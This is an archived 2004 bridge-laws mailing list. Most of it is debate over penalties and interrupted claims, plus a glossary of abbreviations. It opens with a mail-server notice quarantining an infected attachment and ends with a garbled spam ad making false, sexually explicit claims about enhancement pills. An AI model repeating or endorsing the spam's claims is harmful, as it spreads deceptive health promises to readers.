Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.576 / Virus Database: 365 - Release Date: 30/01/2004 From postmaster@gs.mil.ee Sat Jan 31 10:53:17 2004 From: postmaster@gs.mil.ee (Procmail Security daemon) Date: Sat, 31 Jan 2004 12:53:17 +0200 Subject: [blml] Re: Error In-Reply-To: <200401311301.i0VD12rL020389@backgw.mil.ee> References: <200401311301.i0VD12rL020389@backgw.mil.ee> Message-ID: <200401311053.i0VArH8r027031@gs.mil.ee> Regarding your message to Palun ärge saatke *.com, *.exe, jms. laienditega faile. Please don't send executable content via e-mail. REPORT: Trapped poisoned executable "body.zip" REPORT: Not a document, or already poisoned by filename. Not scanned for macros. STATUS: Message quarantined, not delivered to recipient. Headers from message: > From blml@rtflb.org Sat Jan 31 12:53:17 2004 > Return-Path: > Received: from backgw.mil.ee (backgw.mil.ee [195.222.6.3]) > by gs.mil.ee (8.12.8/8.12.8) with ESMTP id i0VArHhn027009 > for ; Sat, 31 Jan 2004 12:53:17 +0200 > Received: from rtflb.org (adsl25218.estpak.ee [80.235.26.190]) > by backgw.mil.ee (8.12.10/8.12.10) with ESMTP id i0VD12rL020389 > for ; Sat, 31 Jan 2004 15:01:03 +0200 > Message-Id: <200401311301.i0VD12rL020389@backgw.mil.ee> > From: blml@rtflb.org > To: indrek.elling@mil.ee > Subject: Error > Date: Sat, 31 Jan 2004 12:54:21 +0200 > MIME-Version: 1.0 > X-Security: MIME headers sanitized on gs.mil.ee > See http://www.impsec.org/email-tools/sanitizer-intro.html > for details. $Revision: 1.139 $Date: 2003-09-07 10:14:23-07 > Content-Type: multipart/mixed; > boundary="----=_NextPart_000_0006_099F6D5E.DC0FFDE3" > X-Priority: 3 > X-MSMail-Priority: Normal > X-Spam-Status: No, hits=2.3 required=5.0 tests=MISSING_MIMEOLE,NO_REAL_NAME, > PRIORITY_NO_NAME autolearn=no version=2.61 > X-Spam-Level: ** > X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on > backgw.mil.ee -- Message sanitized on gs.mil.ee See http://www.impsec.org/email-tools/sanitizer-intro.html for details. From blml@blakjak.com Sat Jan 31 15:49:42 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 31 Jan 2004 15:49:42 +0000 Subject: [blml] card played twice In-Reply-To: <93BDEF5A-53BC-11D8-8C91-0030656F6826@rochester.rr.com> References: <93BDEF5A-53BC-11D8-8C91-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Friday, Jan 30, 2004, at 20:09 US/Eastern, David Stevenson wrote: > >> If you are going to give PPs for absent-minded failure to follow the >>rules the scorers will go on strike. >> >> But, no, not really. The principle of PPs should be that you give >>them when there was irreparable damage [eg something made a board >>unplayable at another table] or when someone has really reached the >>ethical boundaries [using UI completely blatantly] or if someone >>repeats things [you have warned this player before for the same >>infraction]. But not otherwise. > >If you say so. > >> I also think you have the wrong feel for this problem. No player >>would try to cheat this way - it is too silly and cannot gain. It has >>all the hallmarks of total confusion by some poor player who is going >>to be extremely embarrassed about it anyway. No sane TD will give a >>PP at such a time. > >So now I'm insane? Thanks, David. Thanks a lot. I did not say that. If you had been there, you would not have given a PP. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Sat Jan 31 17:26:37 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 31 Jan 2004 12:26:37 -0500 Subject: [blml] card played twice In-Reply-To: Message-ID: On Saturday, Jan 31, 2004, at 10:49 US/Eastern, David Stevenson wrote: > > > I did not say that. If you had been there, you would not have given > a PP. All right, perhaps I wouldn't have. Still, the whole thing seems unsatisfactory to me. From john@asimere.com Sat Jan 31 19:54:01 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 31 Jan 2004 19:54:01 +0000 Subject: [blml] card played twice In-Reply-To: References: Message-ID: In article , Ed Reppert writes > >On Saturday, Jan 31, 2004, at 10:49 US/Eastern, David Stevenson wrote: > >> >> >> I did not say that. If you had been there, you would not have given >> a PP. > >All right, perhaps I wouldn't have. Still, the whole thing seems >unsatisfactory to me. I can't see any difference between a revoke and picking up a card once played, they are both totally irrational. (it usually happens when there's confusion about the ownership of the previous trick by the way and players illegally look at the previous trick. With 2 face up cards one gets restored to the offender's hand.) Frankly I'm for the Burnian dictum. both infractions; bastinado at least; nearest wall 2nd choice. John > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From jaapvanderneut@hotmail.com Sat Jan 31 20:36:02 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Sat, 31 Jan 2004 21:36:02 +0100 Subject: [blml] NOT News References: Message-ID: Tim, We seem to have a fundamental different view about what claiming is supposed to be. So lets agree to disagree about most issues. Just a few last remarks. > Obviously my life is not real. At my club there are some people who make > conditional claims for their contracts. Your life is very real but what you do is is twisting the context. I have also claimed slem on conditions. You see dummy and you need a K finesse so you might as well claim because there is nothing to do apart from asking who has the King. I only said (and I repeat if faced with such bogus arguments) that I have never seen someone (realizing what he was doing) claiming a grand with 12 tricks and multiple lines for 13. Those few times you get to play a grand you don't claim when the board is not over, not over in the sense that there still are decisions to be taken and suits to be counted . If you say this is normal procedure in your club well I guess I don't believe you. And for what it is worth as coach and or TD and or teacher and or AC I would warn people that although legal (the law sucks) this kind of claims are best to be avoided because it is impossible to formulate adequately all possible variants and side-lines in a short statement. Besides I think it should be illegal to claim positions which still need non-trivial counting including (almost) all squeezes. > Would you rule against claimer *if* you fully accepted that he was > unjustifiably interrupted mid-sentence and prevented by opponents from > completing a statement? Or put another way do you consider any result > other than "contract made" compatible with the unanimous AC finding that a > procedurally incorrect interruption had occurred? I have never had to handle such a case but I imagine that fact establishing by the TD will be very difficult if not impossible. I can not imagine all 4 players to agree on one version of the truth in such a case. One side will state a misclaim, the other state a claim interruption. In such a case I would tend to make up my mind based on more serious facts. If it looks like a perfectly normal claim I will be inclined to believe the claiming side, if it looks like a crazy claim I will be inclined to believe the opposing side. But in most cases where the circumstential evidence isn't too conclusive on AC I will not easily overrule the table TD, often the only official who has a real change to make an educated guess about what really happened. But if you want me to say 'yes', of course if I really thought that there was unjustifiable claim interruption I would give the claimer some benefit of the doubt (menaing if the claim seems correct I will accept some minor flaws). But you cannot expect me to think that such was the case here. This claim is just way too crazy. Interrupted or not I am 100% sure the guy thought he had 13 tricks after he won the finesse. But that is just my judgement given the facts as presented. Jaap ----- Original Message ----- From: "Tim West-Meads" To: Sent: Friday, January 30, 2004 2:38 PM Subject: Re: [blml] NOT News > > Tim: > > > Well yes. But one rather assumes that when an AC is unanimous in > > > finding there was a genuine interrupt of the claim the chances are > > > pretty high that there was a genuine interrupt of the claim - so > > > protect. > > > > 1. Keep in mind that the original question was 'what do you think of > > the AC decision' given the presented facts. For that question the AC > > ruling itself is not part of the facts. Otherwise you end up saying the > > AC is right because it is right. > > Look, if the AC was wrong in finding the claim to have been interrupted we > are unanimous in awarding -1. But so what, we will never be in a position > to establish whether they were right or wrong on this point. > > The area of contention seems to be that some on this group wish to reward > the premature interruption of the claim by ruling against claimer even > though they accept that the claim was interrupted. > > > > Tim: > > > The TD said nothing of the sort (and made no ruling on whether the > > > statement had been interrupted) . Claimer stated to the AC that he > > > began > > > with "I've got the clubs..." and was prevented from continuing. The > > > opponent stated that claimer had started with "The clubs are good..". > > > Note that from the write-up the opponent does not seem to deny > > > interrupting at this stage. > > > > Of course the write-up is limited and a lot is left to the imagination. > > In the end it boils down to deciding if claimer really wanted to make > > this statement and was prevented from doing so by opps OR claimer during > > the claim changed his mind probably caused by some kind of reaction to > > his initial statement about clubs however that club thing was worded. > > No. It doesn't. If we accept that claimer *might* have made the actual > statement had he not been interrupted we should not even contemplate > ruling in favour of the procedure violating interruption. > > If we think that claimer was "trying it on" and hadn't intended to say any > more at the time of the objection we would rule that no interruption had > occurred and get the trivial "one off" ruling. > > > > Now for his intented claim we only have his word. It is a very strange > > moment to claim (did you ever see someone claiming a grand slam when > > realizing he had only 12 with still some work to do for 13) and it is a > > ridiculous line of play. Apart from some squeeze extras the proposed > > line > > gives up on clubs 3-3 altogether. So I tend not to believe this story > > because it is sure that somewhere along the line he realised or knew the > > clubs were not breaking. > > I'm not really interested in what the ruling should be if we disbelieve > his story about being about being interrupted - the answer is obvious. > The point of the debate is how we should rule the claim once we *accept* > his "story" about being interrupted. > > > This can only come from the objection/interruption when he started his > > claim by claiming the club suit. > > If he benefits from opponents interrupting so be it. It is their own > fault and I'm not going to waste any sympathy on them. > > > We seem to differ whether or not a valid objection (a club stop in this > > case) to (part of) a claim is an interruption. I prefer to see this as > > normal procedure (a valid objection to a misclaim) even if this > > interrupts the claim. > > If an opponent interrupts and claimer (on resumption) is able to complete > his sentence with a line leading to his required number of tricks then the > claimer gets the benefit. Next time the opponent will be more careful. > However if we give the benefit to the opponent then next time the opponent > will interrupt more readily. For instance I now know that should either > you or Herman be the TD I have a tremendous advantage in interrupting > claims as early as possible just in case claimer has missed a technically > superior (but failing) line. Not only that but you consider such > interruptions legal! > > > Now if the objection is not valid and or (part of) the claim > > is correct I will go along with your interrupt idea. In the first case > > the misclaim caused the trouble, in the second case the interrupt caused > > the problem (in my view that is) > > > > Tim: > > > It may be a "natural reaction", if so it is one that should be curbed. > > > Natural or unnatural it is certainly an interruption, and equally > > > certainly against the law. > > > > If someone claims all the clubs and I call the TD (or react in a similar > > way) on the basis of a club stop excactly which law do I break ? > > If you object mid-sentence you break L74a1 for starters. Interrupting is > discourteous. If you object prematurely and it causes no problems > (claimer accepts the objection) then it really isn't an issue (90%+ of > claim objections are resolved amicably at the table without calling the TD > - in clear breach of the claims laws). However if you fail to follow > correct procedure while claimer is following correct procedure *and* it > causes you should expect to be ruled against. > > > If you > > expect people to behave differently, at the next general meeting I will > > get a 99% vote for outlawing claims altogether (you know all those > > people who hate to be claimed against). > > I expect people to learn that interrupting claim statements can > occasionally work to their disadvantage. Most of the time it won't > *because* there is no recovery path open to declarer in the rest of his > statement and the situation never gets to the TD. > > > This is silly. Nobody in real life will claim a grand like that. In a > > hurry they might claim 6NT for 12 or 13 (teams score) like that. > > Obviously my life is not real. At my club there are some people who make > conditional claims for their contracts. > > > Besides that claim of yours is incorrect and will be challenged by > > everybody because the line of play is unclear. I will not allow this > > claim because it needs some non trivial handling (I know the Vienna Coup > > here is rather obvious still I have seen mistakes). Nobody who knows > > about squeezes will claim in that order because you have to sqeeze > > before testing the second suit. > > It isn't "incorrect". It is a claim which clearly states the conditions > necessary for success. While it is possible that a player may ask for the > order of play to be clarified claimer is able to answer that question > without suggesting a line not encompassed by the original statement. > > > And any player capable of executing this will never claim because it is > > not the best line of play. > > Strangely I have found that some players are only capable of executing the > second (or maybe third) best line of play. Nevertheless if such a player > makes a claim which *works* we award that claim despite considering it > sub-optimal. > > > Anyway why bother looking for the best line because if the first 5 > > tricks were really 1H 3D and CJQKx I think it is nowhere near the best > > line. > > I wasn't looking for a "best line". As you say the hand has already been > misplayed and the evidence suggests that declarer is not particularly > competent. That is not sufficient for us to be *sure* that he wasn't > going to complete his table statement as he later did to the TD/AC. > Indeed the relative inferiority of the actual statement inclines me to > believe it - after all claimer had enough time to come up with something a > bit more convincing if he wanted to lie about it. > > > And about my infinite wisdom. My wisdom is no better no worse than > > yours. I just happen to be a good player so I am rather good at bridge > > analysis and rather good at seeing through bogus bridge arguments. > > And making them too - trusting opponent's count signals against a grand > slam is pretty poor advice IMO. > > > Anyway I still feel that this 'interruption' was not made after the > > first four words of above sentence. But that is easy, even afterwards > > the guy himself never mentioned clubs 3-3 or a squeeze. > > And nor is he obliged to. He stated a detailed line that worked against > the actual distribution - which is all the law can, and does, require of a > valid claim. > > > But never forget all this is just my judgement given the limited > > available facts. If RJH changes the story or the TD or the AC comes with > > new info I might well change my mind. > > Would you rule against claimer *if* you fully accepted that he was > unjustifiably interrupted mid-sentence and prevented by opponents from > completing a statement? Or put another way do you consider any result > other than "contract made" compatible with the unanimous AC finding that a > procedurally incorrect interruption had occurred? > > Tim > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ereppert@rochester.rr.com Sat Jan 31 22:48:26 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 31 Jan 2004 17:48:26 -0500 Subject: [blml] card played twice In-Reply-To: Message-ID: <94ADAC40-543F-11D8-AEAE-0030656F6826@rochester.rr.com> On Saturday, Jan 31, 2004, at 14:54 US/Eastern, John (MadDog) Probst wrote: > (it usually happens when > there's confusion about the ownership of the previous trick by the way > and players illegally look at the previous trick. With 2 face up cards > one gets restored to the offender's hand.) Last night, we were playing against a pretty good pair. They played so fast, however, that at one point they were *two* tricks ahead of my partner and I. I'm all for fast play, but not when you ignore whether or not others are keeping up. From henk@amsterdamned.org Sat Jan 31 23:00:01 2004 From: henk@amsterdamned.org (Henk Uijterwaal) Date: Sun, 01 Feb 2004 00:00:01 +0100 Subject: [blml] Usenet bridge abbreviations Message-ID: (Automated, regular posting) Usenet Bridge Abbreviations ABF Australian Bridge Federation AC Appeals committee ACBL American Contract Bridge League AI Authorised information ArtAS Artificial adjusted score AssAS Assigned adjusted score ATF Across-the-field [matchpointing] ATTNA Appeal to the National Authority BBL British Bridge League [now defunct] BGB Bridge Great Britain BLML Bridge-laws mailing list BoD Board of directors [ACBL] BoG Board of governors [ACBL] BOOT Bid-Out-Of-Turn CD Convention Disruption C&E Conduct and ethics [often hearings] CC Convention card CHO Center Hand Opponent CoC Conditions of contest COOT Call-Out-Of-Turn CoP Code of practice CPU Concealed partnership understanding CTD Chief Tournament director DBF Danish Bridge Federation DIC Director in charge DP Disciplinary penalty EBL European Bridge League EBU English Bridge Union EHAA Every Hand an Adventure [a system] F2F Face-to-face [to distinguish from Online bridge] FOLOOT Faced Opening-Lead-Out-Of-Turn GCC General Convention Chart [ACBL] HUM Highly Unusual Method IB Insufficient Bid IBLF International Bridge Laws Forum LA Logical alternative L&EC Laws & Ethics Committee [English, Welsh or Scottish] LHO Left hand Opponent Lnn Law number nn LOL Little old lady [may be of either sex] LOOT Lead-Out-Of-Turn MB Misbid ME Misexplanation MI Misinformation MPC Major penalty card mPC Minor penalty card MSC Master Solvers' Club [The Bridge World] NA National Authority NABC ACBL North American Bridge Championships NBB Nederlandse Bridge Bond [Dutch Bridge League] NBO National Bridge organisation NCBO National Contract Bridge organisation NIBU Northern Ireland Bridge Union NO Non-offender NOs Non-offenders NOS Non-offending side OBM Old Black Magic OBOOT Opening-Bid-Out-Of-Turn OKB OKBridge OLB Online bridge [to distinguish from Face-to-face bridge] OLOOT Opening-Lead-Out-Of-Turn OOT Out-Of-Turn Os Offenders OS Offending side PLOOT Play-Out-Of-Turn POOT Pass-Out-Of-Turn PP Procedural penalty RA Regulating Authority RGB rec.games.bridge [newsgroup] RGBO rec.games.bridge.okbridge [newsgroup] RHO Right Hand Opponent RLB Real Life Bridge [to distinguish from Online bridge] RoC Rule of coincidence RoW Rest of World [apart from North America] RTFLB Read the [fabulous] Law book! SBU Scottish Bridge Union SO Sponsoring organisation TBW The Bridge World [magazine] TD Tournament director TDic Tournament director in charge TFLB The [fabulous] Law book! UI Unauthorised information WBF World Bridge Federation WBFLC WBF Laws Committee WBU Welsh Bridge Union YC Young Chelsea ZO Zonal organisation ZT Zero Tolerance [for unacceptable behaviour] Hand diagrams: ..3H 3H after a hesitation 3H! 3H alerted 1M 1 of a major 1m 1 of a minor The above may also be found on David Stevenson's Bridgepage at http://blakjak.com/usenet_br.htm From morecmenneedless@wildmail.com Sat Jan 31 22:45:23 2004 From: morecmenneedless@wildmail.com (Faq_1063104376) Date: Sat, 31 Jan 2004 20:45:23 -0200 Subject: [blml] Cum And Look Like A P0RN STAR!!!!!!!! tutoredcodifying Message-ID: cumpills2

SHOWER YOUR LOVER WITH
BUCKET= LOADS OF SP.ERM!
=A0

It's Amazing & Has Finally Arrived! A Unique Pill That Will Increase Your Spe.rm By Up To 500% More We Guaran.teed It!

Maintain Rock Solid Erect.ions=
Increased Se.xual Desire & Performance
- Shoot Out Amazing Amounts Of Spe.rm Everywhere
- Multiple Extreme Orga.sms! Have 2 Or 3 Each Time.
- 100% Mon.ey Back Guar.antee With Every Order.
=A0

EJAC= U.LATE LIKE A P0RN STAR

<= a hrefbeagleshref=3Dhttp://Janeiro.com href=3D "http://www.bonkey.biz/kadafi/">MORE INFO HERE
=A0
=A0

no more emailz

=20 imprintedworried